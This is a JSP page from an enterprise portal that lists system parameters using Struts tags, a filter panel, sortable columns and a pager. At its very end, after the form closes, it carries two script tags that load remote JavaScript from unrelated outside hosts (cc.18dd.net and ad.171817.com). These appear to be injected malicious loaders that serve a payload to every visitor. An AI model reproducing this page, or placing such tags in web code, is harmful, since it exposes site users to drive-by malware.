<%
/*
 * @(#)ListSysParameter.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListSysParameter.jsp

  This is a ListSysParameter page.  It shows the active system parameter' record in EIP.

    @author             Tony Lee
    @company            DCIVision Ltd
    @creation date      02/06/2004
    @version            $Revision: 1.6.4.9 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.dao.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.setup.web.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listSysParameterForm" scope="request" class="com.dcivision.framework.web.ListSysParameterForm"/>

<%
  /****************************************************************************
   * List Attributes Configuration Begin                                      *
   ****************************************************************************/
  String      LIST_NAME = "systemParameterList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"setup.columnheader.parameter_code", "PARAMETER_CODE"},
                            {"setup.columnheader.parameter_value", "PARAMETER_VALUE"},
                            {"setup.columnheader.parameter_type", "PARAMETER_TYPE"}
                          };

  String[][] SEARCH_MAP = { {"setup.label.parameter_code", "PARAMETER_CODE"},
                            {"setup.label.parameter_value", "PARAMETER_VALUE"},
                            {"setup.label.description", "DESCRIPTION"}
                          };
  int     COLUMN_OFFSET = 1;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
%>
<!-- Form Section Begin -->

<html:form action="setup/ListSysParameter" method="post">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>

<layout:listBar>
    <div class="button">
    </div>
    <layout:filterControl/>
    </layout:listBar>

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
  <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
  <div>
  <table>
  <tr>
    <td class="filterPanelItem" nowrap>
      <html:select property="basicSearchField" onkeypress="onKeyPressHandler(event);">
      <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
     </td>
     <td class="filterPanelItem" nowrap>
      <html:select property='basicSearchType' onkeypress="onKeyPressHandler(event);">
        <html:options listName='criteriaList'/>
      </html:select>
     </td>
     <td class="filterPanelItem" nowrap>
      <html:text property='basicSearchKeyword' size='25' maxlength='100' onkeypress="onKeyPressHandler(event);"/>
    </td>
  </tr>
</table>
</div>
    <div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listSysParameterForm, '${listSysParameterForm.sortAttribute}', '${listSysParameterForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(OpListReset(listSysParameterForm))"/>
    </div>
    <br style="clear:both" />
</div>
<!-- Search Panel End -->

<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listSysParameterForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listSysParameterForm.getSortAttribute()%>" sortOrder="<%=listSysParameterForm.getSortOrder()%>"  checkColumn="false" copyColumn="false"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->

  <logic:iterate id="sysParameter" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)sysParameter).getID()%>);">
    <td align="center">
      <logic:permission right='E'>
      <a href="MaintSysParameter.do?navMode=E&ID=<bean:write name='sysParameter' property='ID'/>"><html:img src='IconEdit.gif' align='absmiddle'/></a>
      <html:img src='IconEditDisable.gif' align='absmiddle'/>
      </logic:permission>

    </td>
    <td nowrap><a href="#" style="text-decoration:none;" onclick="return(false);" onmouseover="return(getPopupInfo('<%=TextUtility.htmlEncode(((SysParameter)sysParameter).getDescription())%>'));" onmouseout="return(nd());"><bean:write name='sysParameter' property='parameterCode'/></a></td>
    <td><bean:write name='sysParameter' property='parameterValue'/></a></td>
    <td>
  <%   if (((SysParameter)sysParameter).getParameterType() != null) {
       if ((((SysParameter)sysParameter).getParameterType()).equals("B")) {
           %>Boolean<%
       } else if ((((SysParameter)sysParameter).getParameterType()).equals("S")) {
          %>String<%
       } else if ((((SysParameter)sysParameter).getParameterType()).equals("I")) {
           %>Integer<%
       } else if ((((SysParameter)sysParameter).getParameterType()).equals("D")) {
           %>Decimal<%
       }
     }
  %>
    </td>
  </tr>
  </logic:iterate>
  </table>
  </div>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <div class="listStatusBar">
  <layout:pager form="listSysParameterForm" name='<%=LIST_NAME%>'>
    <div class="statement"><layout:pagerInfo/></div>
    <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
  </div>
  <!-- Pager Information End -->

<!-- Table Showing Record List End -->

</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>